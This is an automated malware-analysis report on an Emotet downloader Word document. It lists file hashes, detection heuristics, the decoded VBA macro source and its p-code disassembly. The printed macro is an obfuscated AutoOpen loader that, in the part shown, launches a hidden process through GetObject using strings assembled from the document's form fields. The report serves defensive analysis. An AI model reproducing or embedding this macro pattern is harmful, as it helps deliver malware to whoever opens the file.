Office (OLE) malware analysis — malicious · 4a2de059b24cde11

MALICIOUS

Office (OLE)

162.0 KB Created: 2019-03-26 18:01:00 Authoring application: Microsoft Office Word First seen: 2021-02-18

MD5: 6a5dd19723e1211b25f8f780b088264b SHA-1: 53c441d75b327f23fbf50f4efac5f44793a1c63e SHA-256: 4a2de059b24cde110ce822adef190218a365e9b41f0a96b06d5e45e6642faa23

190 Risk Score

Heuristics 7

ClamAV: Doc.Downloader.Emotet-6914201-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-6914201-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

GetObject call high OLE_VBA_GETOBJ

GetObject call

Matched line in script

Set okAccAXc = GetObject(GAD_DG.zA1XxAB + MUCoBX.sQDcxA + GAD_DG.zA1XxAB)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub autoopen()
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14844 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	14844 bytes
SHA-256: `5cf515d8e867c7cd1c2163a8c3cafc866d98894dc1184e9b72d11cb858207071`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "n1CAwQ" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "GAD_DG" Attribute VB_Base = "0{9F8B55CD-B6F0-4DA4-AB50-70E9C7FA2034}{5B07E719-5147-4613-976E-888249BCE951}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "MUCoBX" Attribute VB_Base = "0{526A87AD-4FC8-4940-B4DF-744D791DDAAC}{6F111606-AC90-4175-9731-9223206AA8CB}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "hAAGB_A" Sub autoopen() On Error Resume Next Select Case sDAc11 Case 118280599 MXQBAA = OBAxAoQQ / 478597815 / _ G4kDwUAA - CInt(mA1UBx + CInt(242231717)) + _ (267204555 * CLng(331235448)) KxoUXwAX = 223893988 * kAQAkABA H_BAAAX = 864466949 - 287911280 + _ 514265595 - DA4wAA_ / TDAACAU - Tan(895050759) End Select Select Case NAcAAk Case 709653768 FQcBGA = E4BUBcAA / 754755544 / _ fAAQQD - CInt(HocAAX + CInt(787110658)) + _ (629948402 * CLng(286750411)) WABAk1w = 665168076 * vXAGGA nXX4CC = 56756407 - 100273735 + _ 975717345 - CDQwAx / BA_BUAAw - Tan(702573187) End Select Select Case EAA_AoDQ Case 446838557 AAAcBAA = FcC1xD / 725462749 / _ iAAA4AAk - CInt(OAAAAAQ + CInt(707330327)) + _ (755291192 * CLng(775149347)) QwD4kk = 128501794 * I1QQA_UU m4XG4D = 927588281 - 302785135 + _ 133041045 - wxBUUAQ / qcDAkD - Tan(204124700) End Select Set okAccAXc = GetObject(GAD_DG.zA1XxAB + MUCoBX.sQDcxA + GAD_DG.zA1XxAB) Select Case fk1AUkA Case 731717202 DoGoAAQ = vAUCAx / 362632927 / _ fAcAAZ - CInt(dAXCcAxA + CInt(374264988)) + _ (513185493 * CLng(576958809)) rAcAAA = 903701020 * HAwZkBUA FGABAk = 919633742 - 318126073 + _ 661567965 - ZQAoQAcZ / sBBQBA - Tan(490381549) End Select Select Case SDCxUDA_ Case 86630299 hAUADA = LAwAA_ / 838020347 / _ YACGBBA - CInt(zAAAAxBB + CInt(843402600)) + _ (110104496 * CLng(735181702)) aGABQkU = 305566633 * X4xACBD LAAADQ = 520578417 - 202859255 + _ 81501362 - lAkAQAQ / Gk4Aw4 - Tan(830299945) End Select Select Case UAAA_AC Case 662976899 MBB4QB1 = IDoUAQ / 433152590 / _ wABBADx - CInt(zAQkXZx + CInt(530378785)) + _ (699651961 * CLng(220765167)) QA_DwUZ4 = 599910722 * ZUAXUG iDw1C4AA = 365888591 - 680037513 + _ 195611679 - pA4QDX / bBxAAAA_ - Tan(324314675) End Select okAccAXc.ShowWindow = 481501 - 481501 Select Case NUcQoA1 Case 236544262 FBAQDC = i_AcoGk / 588426294 / _ I1kUAC - CInt(mAGAQXo + CInt(166614484)) + _ (278124716 * CLng(86538863)) rAAQDQAA = 532779772 * OBcDBAUA lwUAAABk = 698960503 - 402273939 + _ 26928979 - ZAcD1Q / qA4D1B - Tan(121436546) End Select Select Case kADc1XUD Case 305847213 o1UD_G = pZAQAD / 481926843 / _ sAZ1CD - CInt(r4oXkcwk + CInt(886470201)) + _ (328267414 * CLng(861984837)) ZADccwG = 383906128 * q1kAoxc hUAD4C = 675389546 - 506973620 + _ 828253829 - B4AoDcU / tAAAcAox - Tan(740855376) End Select GetObject(GAD_DG.zA1XxAB + MUCoBX.w4ABUB4 + GAD_DG.zA1XxAB) _ .Create GAD_DG.zA1XxAB + MUCoBX.ucoADQ1 + GAD_DG.zA1XxAB + MUCoBX.aoxD1AA + GAD_DG.zA1XxAB + GAD_DG.zA1XxAB + MUCoBX.E1ACBC + GAD_DG.zA1XxAB + GAD_DG.zA1XxAB + MUCoBX.lAXZQB + GAD_DG.zA1XxAB + MUCoBX.QcUo1G + GAD_DG.zA1XxAB, YACAoDZA, okAccAXc, GAD_DG.zA1XxAB Select Case fAZAAAx Case 877042873 Rc_AAx = rZUA4k / 162967445 / _ cBUkZ1 - CInt(D_AQkCAA + CInt(197195728)) + _ (950241827 * CLng(640198986)) z_AcDkA = 811973528 * YAQZ1Dc DGXQAAAQ = 816866284 - 996065522 + _ 389378864 - QGQkAkk / IADA4A_ - Tan(593073262) End Select Select Case FCAwUU Case 928151141 H4BGZA = AAoD_AD / 433656676 / _ ucxGAk - CInt(sZXAAD + CInt(372192881)) + _ (309009949 * CLng(157768629)) iDAAA1D = 808134248 * acQwBx1 cUAUBAA = 199510026 - 988233925 + _ 770753845 - OABAAA / TGAZZAZU - Tan(591627103) End Select Select Case MBUDAG Case 406858734 SZ4UGk = EDAcAxB_ / 395353582 / _ AXoAAU - CInt(TZAQAAk + CInt(995465042)) + _ (487536574 * CLng(440957195)) tQAAAA = 31955820 * dAoUkAx XAAQZU = 934392031 - 315101190 + _ 497453955 - BDxBUUw / SUDAAAB - Tan(279517031) End Select End Sub ' Processing file: /opt/analyzer/scan_staging/a9e8040ca2b147eabb016725cd2e0f66.bin ' =============================================================================== ' Module streams: ' Macros/VBA/n1CAwQ - 1104 bytes ' Macros/VBA/GAD_DG - 1157 bytes ' Macros/VBA/MUCoBX - 1157 bytes ' Macros/VBA/hAAGB_A - 6397 bytes ' Line #0: ' FuncDefn (Sub hAAGB_A()) ' Line #1: ' OnError (Resume Next) ' Line #2: ' Ld autoopen ' SelectCase ' Line #3: ' LitDI4 0xD197 0x070C ' Case ' CaseDone ' Line #4: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld MXQBAA ' LitDI4 0xD2B7 0x1C86 ' Div ' Ld OBAxAoQQ ' Div ' Ld G4kDwUAA ' LitDI4 0x29A5 0x0E70 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x37CB 0x0FED ' LitDI4 0x4078 0x13BE ' Coerce (Lng) ' Mul ' Paren ' Add ' St sDAc11 ' Line #5: ' LitDI4 0x59E4 0x0D58 ' Ld KxoUXwAX ' Mul ' St mA1UBx ' Line #6: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0xB805 0x3386 ' LitDI4 0x2D70 0x1129 ' Sub ' LitDI4 0x11FB 0x1EA7 ' Add ' Ld H_BAAAX ' Ld DA4wAA_ ' Div ' Sub ' LitDI4 0x6407 0x3559 ' ArgsLd Tan 0x0001 ' Sub ' St kAQAkABA ' Line #7: ' EndSelect ' Line #8: ' Ld TDAACAU ' SelectCase ' Line #9: ' LitDI4 0x7508 0x2A4C ' Case ' CaseDone ' Line #10: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld FQcBGA ' LitDI4 0xA7D8 0x2CFC ' Div ' Ld E4BUBcAA ' Div ' Ld fAAQQD ' LitDI4 0x5B02 0x2EEA ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x3FF2 0x258C ' LitDI4 0x76CB 0x1117 ' Coerce (Lng) ' Mul ' Paren ' Add ' St NAcAAk ' Line #11: ' LitDI4 0xA8CC 0x27A5 ' Ld WABAk1w ' Mul ' St HocAAX ' Line #12: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x08B7 0x0362 ' LitDI4 0x0E47 0x05FA ' Sub ' LitDI4 0x43E1 0x3A28 ' Add ' Ld nXX4CC ' Ld CDQwAx ' Div ' Sub ' LitDI4 0x6A83 0x29E0 ' ArgsLd Tan 0x0001 ' Sub ' St vXAGGA ' Line #13: ' EndSelect ' Line #14: ' Ld BA_BUAAw ' SelectCase ' Line #15: ' LitDI4 0x371D 0x1AA2 ' Case ' CaseDone ' Line #16: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld AAAcBAA ' LitDI4 0xAEDD 0x2B3D ' Div ' Ld FcC1xD ' Div ' Ld iAAA4AAk ' LitDI4 0x0117 0x2A29 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0xD438 0x2D04 ' LitDI4 0xD723 0x2E33 ' Coerce (Lng) ' Mul ' Paren ' Add ' St EAA_AoDQ ' Line #17: ' LitDI4 0xC822 0x07A8 ' Ld QwD4kk ' Mul ' St OAAAAAQ ' Line #18: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0xDFB9 0x3749 ' LitDI4 0x226F 0x120C ' Sub ' LitDI4 0x0B95 0x07EE ' Add ' Ld m4XG4D ' Ld wxBUUAQ ' Div ' Sub ' LitDI4 0xB21C 0x0C2A ' ArgsLd Tan 0x0001 ' Sub ' St I1QQA_UU ' Line #19: ' EndSelect ' Line #20: ' SetStmt ' Ld MUCoBX ' MemLd GetObject ' Ld MSForms ' MemLd zA1XxAB ' Add ' Ld MUCoBX ' MemLd GetObject ' Add ' ArgsLd okAccAXc 0x0001 ' Set qcDAkD ' Line #21: ' Ld sQDcxA ' SelectCase ' Line #22: ' LitDI4 0x1E52 0x2B9D ' Case ' CaseDone ' Line #23: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld DoGoAAQ ' LitDI4 0x56DF 0x159D ' Div ' Ld vAUCAx ' Div ' Ld fAcAAZ ' LitDI4 0xD49C 0x164E ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x96D5 0x1E96 ' LitDI4 0xB159 0x2263 ' Coerce (Lng) ' Mul ' Paren ' Add ' St fk1AUkA ' Line #24: ' LitDI4 0x621C 0x35DD ' Ld rAcAAA ' Mul ' St dAXCcAxA ' Line #25: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x7F4E 0x36D0 ' LitDI4 0x37F9 0x12F6 ' Sub ' LitDI4 0xB9DD 0x276E ' Add ' Ld FGABAk ' Ld ZQAoQAcZ ' Div ' Sub ' LitDI4 0xA0ED 0x1D3A ' ArgsLd Tan 0x0001 ' Sub ' St HAwZkBUA ' Line #26: ' EndSelect ' Line #27: ' Ld sBBQBA ' SelectCase ' Line #28: ' LitDI4 0xDF9B 0x0529 ' Case ' CaseDone ' Line #29: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld hAUADA ' LitDI4 0x2CFB 0x31F3 ' Div ' Ld LAwAA_ ' Div ' Ld YACGBBA ' LitDI4 0x4D68 0x3245 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x0FB0 0x0690 ' LitDI4 0xFB86 0x2BD1 ' Coerce (Lng) ' Mul ' Paren ' Add ' St SDCxUDA_ ' Line #30: ' LitDI4 0x93A9 0x1236 ' Ld aGABQkU ' Mul ' St zAAAAxBB ' Line #31: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x6571 0x1F07 ' LitDI4 0x62F7 0x0C17 ' Sub ' LitDI4 0x9CB2 0x04DB ' Add ' Ld LAAADQ ' Ld lAkAQAQ ' Div ' Sub ' LitDI4 0x5F29 0x317D ' ArgsLd Tan 0x0001 ' Sub ' St X4xACBD ' Line #32: ' EndSelect ' Line #33: ' Ld Gk4Aw4 ' SelectCase ' Line #34: ' LitDI4 0x3983 0x2784 ' Case ' CaseDone ' Line #35: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld MBB4QB1 ' LitDI4 0x624E 0x19D1 ' Div ' Ld IDoUAQ ' Div ' Ld wABBADx ' LitDI4 0xF021 0x1F9C ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0xD779 0x29B3 ' LitDI4 0x9BEF 0x0D28 ' Coerce (Lng) ' Mul ' Paren ' Add ' St UAAA_AC ' Line #36: ' LitDI4 0xE942 0x23C1 ' Ld QA_DwUZ4 ' Mul ' St zAQkXZx ' Line #37: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x044F 0x15CF ' LitDI4 0x8C89 0x2888 ' Sub ' LitDI4 0xCC1F 0x0BA8 ' Add ' Ld iDw1C4AA ' Ld pA4QDX ' Div ' Sub ' LitDI4 0xA633 0x1354 ' ArgsLd Tan 0x0001 ' Sub ' St ZUAXUG ' Line #38: ' EndSelect ' Line #39: ' LitDI4 0x58DD 0x0007 ' LitDI4 0x58DD 0x0007 ' Sub ' Ld qcDAkD ' MemSt bBxAAAA_ ' Line #40: ' Ld ShowWindow ' SelectCase ' Line #41: ' LitDI4 0x6106 0x0E19 ' Case ' CaseDone ' Line #42: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld FBAQDC ' LitDI4 0xAC36 0x2312 ' Div ' Ld i_AcoGk ' Div ' Ld I1kUAC ' LitDI4 0x55D4 0x09EE ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0xD8AC 0x1093 ' LitDI4 0x7A6F 0x0528 ' Coerce (Lng) ' Mul ' Paren ' Add ' St NUcQoA1 ' Line #43: ' LitDI4 0x92FC 0x1FC1 ' Ld rAAQDQAA ' Mul ' St mAGAQXo ' Line #44: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x4A77 0x29A9 ' LitDI4 0x3693 0x17FA ' Sub ' LitDI4 0xE753 0x019A ' Add ' Ld lwUAAABk ' Ld ZAcD1Q ' Div ' Sub ' LitDI4 0xF982 0x073C ' ArgsLd Tan 0x0001 ' Sub ' St OBcDBAUA ' Line #45: ' EndSelect ' Line #46: ' Ld qA4D1B ' SelectCase ' Line #47: ' LitDI4 0xDBAD 0x123A ' Case ' CaseDone ' Line #48: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld o1UD_G ' LitDI4 0x9EBB 0x1CB9 ' Div ' Ld pZAQAD ' Div ' Ld sAZ1CD ' LitDI4 0x7639 0x34D6 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0xF696 0x1390 ' LitDI4 0xD845 0x3360 ' Coerce (Lng) ' Mul ' Paren ' Add ' St kADc1XUD ' Line #49: ' LitDI4 0xF150 0x16E1 ' Ld ZADccwG ' Mul ' St r4oXkcwk ' Line #50: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0xA06A 0x2841 ' LitDI4 0xCDB4 0x1E37 ' Sub ' LitDI4 0x2685 0x315E ' Add ' Ld hUAD4C ' Ld B4AoDcU ' Div ' Sub ' LitDI4 0x8E50 0x2C28 ' ArgsLd Tan 0x0001 ' Sub ' St q1kAoxc ' Line #51: ' EndSelect ' Line #52: ' LineCont 0x0004 0E 00 00 00 ' Ld MUCoBX ' MemLd GetObject ' Ld MSForms ' MemLd Create ' Add ' Ld MUCoBX ' MemLd GetObject ' Add ' Ld MSForms ' MemLd ucoADQ1 ' Add ' Ld MUCoBX ' MemLd GetObject ' Add ' Ld MUCoBX ' MemLd GetObject ' Add ' Ld MSForms ' MemLd aoxD1AA ' Add ' Ld MUCoBX ' MemLd GetObject ' Add ' Ld MUCoBX ' MemLd GetObject ' Add ' Ld MSForms ' MemLd E1ACBC ' Add ' Ld MUCoBX ' MemLd GetObject ' Add ' Ld MSForms ' MemLd lAXZQB ' Add ' Ld MUCoBX ' MemLd GetObject ' Add ' Ld QcUo1G ' Ld qcDAkD ' Ld MUCoBX ' MemLd GetObject ' Ld MUCoBX ' MemLd GetObject ' Ld MSForms ' MemLd tAAAcAox ' Add ' Ld MUCoBX ' MemLd GetObject ' Add ' ArgsLd okAccAXc 0x0001 ' ArgsMemCall w4ABUB4 0x0004 ' Line #53: ' Ld YACAoDZA ' SelectCase ' Line #54: ' LitDI4 0x9CB9 0x3446 ' Case ' CaseDone ' Line #55: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld Rc_AAx ' LitDI4 0xAF95 0x09B6 ' Div ' Ld rZUA4k ' Div ' Ld cBUkZ1 ' LitDI4 0xF7D0 0x0BC0 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x8A23 0x38A3 ' LitDI4 0xA94A 0x2628 ' Coerce (Lng) ' Mul ' Paren ' Add ' St fAZAAAx ' Line #56: ' LitDI4 0xBB98 0x3065 ' Ld z_AcDkA ' Mul ' St D_AQkCAA ' Line #57: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x63EC 0x30B0 ' LitDI4 0xC0F2 0x3B5E ' Sub ' LitDI4 0x7330 0x1735 ' Add ' Ld DGXQAAAQ ' Ld QGQkAkk ' Div ' Sub ' LitDI4 0x946E 0x2359 ' ArgsLd Tan 0x0001 ' Sub ' St YAQZ1Dc ' Line #58: ' EndSelect ' Line #59: ' Ld IADA4A_ ' SelectCase ' Line #60: ' LitDI4 0x7665 0x3752 ' Case ' CaseDone ' Line #61: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld H4BGZA ' LitDI4 0x1364 0x19D9 ' Div ' Ld AAoD_AD ' Div ' Ld ucxGAk ' LitDI4 0x3671 0x162F ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x1E1D 0x126B ' LitDI4 0x5BB5 0x0967 ' Coerce (Lng) ' Mul ' Paren ' Add ' St FCAwUU ' Line #62: ' LitDI4 0x2668 0x302B ' Ld iDAAA1D ' Mul ' St sZXAAD ' Line #63: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x480A 0x0BE4 ' LitDI4 0x40C5 0x3AE7 ' Sub ' LitDI4 0xC535 0x2DF0 ' Add ' Ld cUAUBAA ' Ld OABAAA ' Div ' Sub ' LitDI4 0x835F 0x2343 ' ArgsLd Tan 0x0001 ' Sub ' St acQwBx1 ' Line #64: ' EndSelect ' Line #65: ' Ld TGAZZAZU ' SelectCase ' Line #66: ' LitDI4 0x2BEE 0x1840 ' Case ' CaseDone ' Line #67: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld SZ4UGk ' LitDI4 0x9DEE 0x1790 ' Div ' Ld EDAcAxB_ ' Div ' Ld AXoAAU ' LitDI4 0x9752 0x3B55 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x37BE 0x1D0F ' LitDI4 0x790B 0x1A48 ' Coerce (Lng) ' Mul ' Paren ' Add ' St MBUDAG ' Line #68: ' LitDI4 0x9B6C 0x01E7 ' Ld tQAAAA ' Mul ' St TZAQAAk ' Line #69: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0xB0DF 0x37B1 ' LitDI4 0x1006 0x12C8 ' Sub ' LitDI4 0x8B83 0x1DA6 ' Add ' Ld XAAQZU ' Ld BDxBUUw ' Div ' Sub ' LitDI4 0x1767 0x10A9 ' ArgsLd Tan 0x0001 ' Sub ' St dAoUkAx ' Line #70: ' EndSelect ' Line #71: ' EndSub ' Line #72:

SHA-256: 5cf515d8e867c7cd1c2163a8c3cafc866d98894dc1184e9b72d11cb858207071

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "n1CAwQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "GAD_DG"
Attribute VB_Base = "0{9F8B55CD-B6F0-4DA4-AB50-70E9C7FA2034}{5B07E719-5147-4613-976E-888249BCE951}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MUCoBX"
Attribute VB_Base = "0{526A87AD-4FC8-4940-B4DF-744D791DDAAC}{6F111606-AC90-4175-9731-9223206AA8CB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "hAAGB_A"
Sub autoopen()
On Error Resume Next
         Select Case sDAc11
Case 118280599
      MXQBAA = OBAxAoQQ / 478597815 / _
G4kDwUAA - CInt(mA1UBx + CInt(242231717)) + _
(267204555 * CLng(331235448))
      KxoUXwAX = 223893988 * kAQAkABA
      H_BAAAX = 864466949 - 287911280 + _
514265595 - DA4wAA_ / TDAACAU - Tan(895050759)
End Select
         Select Case NAcAAk
Case 709653768
      FQcBGA = E4BUBcAA / 754755544 / _
fAAQQD - CInt(HocAAX + CInt(787110658)) + _
(629948402 * CLng(286750411))
      WABAk1w = 665168076 * vXAGGA
      nXX4CC = 56756407 - 100273735 + _
975717345 - CDQwAx / BA_BUAAw - Tan(702573187)
End Select
         Select Case EAA_AoDQ
Case 446838557
      AAAcBAA = FcC1xD / 725462749 / _
iAAA4AAk - CInt(OAAAAAQ + CInt(707330327)) + _
(755291192 * CLng(775149347))
      QwD4kk = 128501794 * I1QQA_UU
      m4XG4D = 927588281 - 302785135 + _
133041045 - wxBUUAQ / qcDAkD - Tan(204124700)
End Select
Set okAccAXc = GetObject(GAD_DG.zA1XxAB + MUCoBX.sQDcxA + GAD_DG.zA1XxAB)
         Select Case fk1AUkA
Case 731717202
      DoGoAAQ = vAUCAx / 362632927 / _
fAcAAZ - CInt(dAXCcAxA + CInt(374264988)) + _
(513185493 * CLng(576958809))
      rAcAAA = 903701020 * HAwZkBUA
      FGABAk = 919633742 - 318126073 + _
661567965 - ZQAoQAcZ / sBBQBA - Tan(490381549)
End Select
         Select Case SDCxUDA_
Case 86630299
      hAUADA = LAwAA_ / 838020347 / _
YACGBBA - CInt(zAAAAxBB + CInt(843402600)) + _
(110104496 * CLng(735181702))
      aGABQkU = 305566633 * X4xACBD
      LAAADQ = 520578417 - 202859255 + _
81501362 - lAkAQAQ / Gk4Aw4 - Tan(830299945)
End Select
         Select Case UAAA_AC
Case 662976899
      MBB4QB1 = IDoUAQ / 433152590 / _
wABBADx - CInt(zAQkXZx + CInt(530378785)) + _
(699651961 * CLng(220765167))
      QA_DwUZ4 = 599910722 * ZUAXUG
      iDw1C4AA = 365888591 - 680037513 + _
195611679 - pA4QDX / bBxAAAA_ - Tan(324314675)
End Select
okAccAXc.ShowWindow = 481501 - 481501
         Select Case NUcQoA1
Case 236544262
      FBAQDC = i_AcoGk / 588426294 / _
I1kUAC - CInt(mAGAQXo + CInt(166614484)) + _
(278124716 * CLng(86538863))
      rAAQDQAA = 532779772 * OBcDBAUA
      lwUAAABk = 698960503 - 402273939 + _
26928979 - ZAcD1Q / qA4D1B - Tan(121436546)
End Select
         Select Case kADc1XUD
Case 305847213
      o1UD_G = pZAQAD / 481926843 / _
sAZ1CD - CInt(r4oXkcwk + CInt(886470201)) + _
(328267414 * CLng(861984837))
      ZADccwG = 383906128 * q1kAoxc
      hUAD4C = 675389546 - 506973620 + _
828253829 - B4AoDcU / tAAAcAox - Tan(740855376)
End Select
GetObject(GAD_DG.zA1XxAB + MUCoBX.w4ABUB4 + GAD_DG.zA1XxAB) _
.Create GAD_DG.zA1XxAB + MUCoBX.ucoADQ1 + GAD_DG.zA1XxAB + MUCoBX.aoxD1AA + GAD_DG.zA1XxAB + GAD_DG.zA1XxAB + MUCoBX.E1ACBC + GAD_DG.zA1XxAB + GAD_DG.zA1XxAB + MUCoBX.lAXZQB + GAD_DG.zA1XxAB + MUCoBX.QcUo1G + GAD_DG.zA1XxAB, YACAoDZA, okAccAXc, GAD_DG.zA1XxAB
         Select Case fAZAAAx
Case 877042873
      Rc_AAx = rZUA4k / 162967445 / _
cBUkZ1 - CInt(D_AQkCAA + CInt(197195728)) + _
(950241827 * CLng(640198986))
      z_AcDkA = 811973528 * YAQZ1Dc
      DGXQAAAQ = 816866284 - 996065522 + _
389378864 - QGQkAkk / IADA4A_ - Tan(593073262)
End Select
         Select Case FCAwUU
Case 928151141
      H4BGZA = AAoD_AD / 433656676 / _
ucxGAk - CInt(sZXAAD + CInt(372192881)) + _
(309009949 * CLng(157768629))
      iDAAA1D = 808134248 * acQwBx1
      cUAUBAA = 199510026 - 988233925 + _
770753845 - OABAAA / TGAZZAZU - Tan(591627103)
End Select
         Select Case MBUDAG
Case 406858734
      SZ4UGk = EDAcAxB_ / 395353582 / _
AXoAAU - CInt(TZAQAAk + CInt(995465042)) + _
(487536574 * CLng(440957195))
      tQAAAA = 31955820 * dAoUkAx
      XAAQZU = 934392031 - 315101190 + _
497453955 - BDxBUUw / SUDAAAB - Tan(279517031)
End Select
End Sub


' Processing file: /opt/analyzer/scan_staging/a9e8040ca2b147eabb016725cd2e0f66.bin
' ===============================================================================
' Module streams:
' Macros/VBA/n1CAwQ - 1104 bytes
' Macros/VBA/GAD_DG - 1157 bytes
' Macros/VBA/MUCoBX - 1157 bytes
' Macros/VBA/hAAGB_A - 6397 bytes
' Line #0:
' 	FuncDefn (Sub hAAGB_A())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	SelectCase 
' Line #3:
' 	LitDI4 0xD197 0x070C 
' 	Case 
' 	CaseDone 
' Line #4:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld MXQBAA 
' 	LitDI4 0xD2B7 0x1C86 
' 	Div 
' 	Ld OBAxAoQQ 
' 	Div 
' 	Ld G4kDwUAA 
' 	LitDI4 0x29A5 0x0E70 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x37CB 0x0FED 
' 	LitDI4 0x4078 0x13BE 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St sDAc11 
' Line #5:
' 	LitDI4 0x59E4 0x0D58 
' 	Ld KxoUXwAX 
' 	Mul 
' 	St mA1UBx 
' Line #6:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xB805 0x3386 
' 	LitDI4 0x2D70 0x1129 
' 	Sub 
' 	LitDI4 0x11FB 0x1EA7 
' 	Add 
' 	Ld H_BAAAX 
' 	Ld DA4wAA_ 
' 	Div 
' 	Sub 
' 	LitDI4 0x6407 0x3559 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St kAQAkABA 
' Line #7:
' 	EndSelect 
' Line #8:
' 	Ld TDAACAU 
' 	SelectCase 
' Line #9:
' 	LitDI4 0x7508 0x2A4C 
' 	Case 
' 	CaseDone 
' Line #10:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld FQcBGA 
' 	LitDI4 0xA7D8 0x2CFC 
' 	Div 
' 	Ld E4BUBcAA 
' 	Div 
' 	Ld fAAQQD 
' 	LitDI4 0x5B02 0x2EEA 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x3FF2 0x258C 
' 	LitDI4 0x76CB 0x1117 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St NAcAAk 
' Line #11:
' 	LitDI4 0xA8CC 0x27A5 
' 	Ld WABAk1w 
' 	Mul 
' 	St HocAAX 
' Line #12:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x08B7 0x0362 
' 	LitDI4 0x0E47 0x05FA 
' 	Sub 
' 	LitDI4 0x43E1 0x3A28 
' 	Add 
' 	Ld nXX4CC 
' 	Ld CDQwAx 
' 	Div 
' 	Sub 
' 	LitDI4 0x6A83 0x29E0 
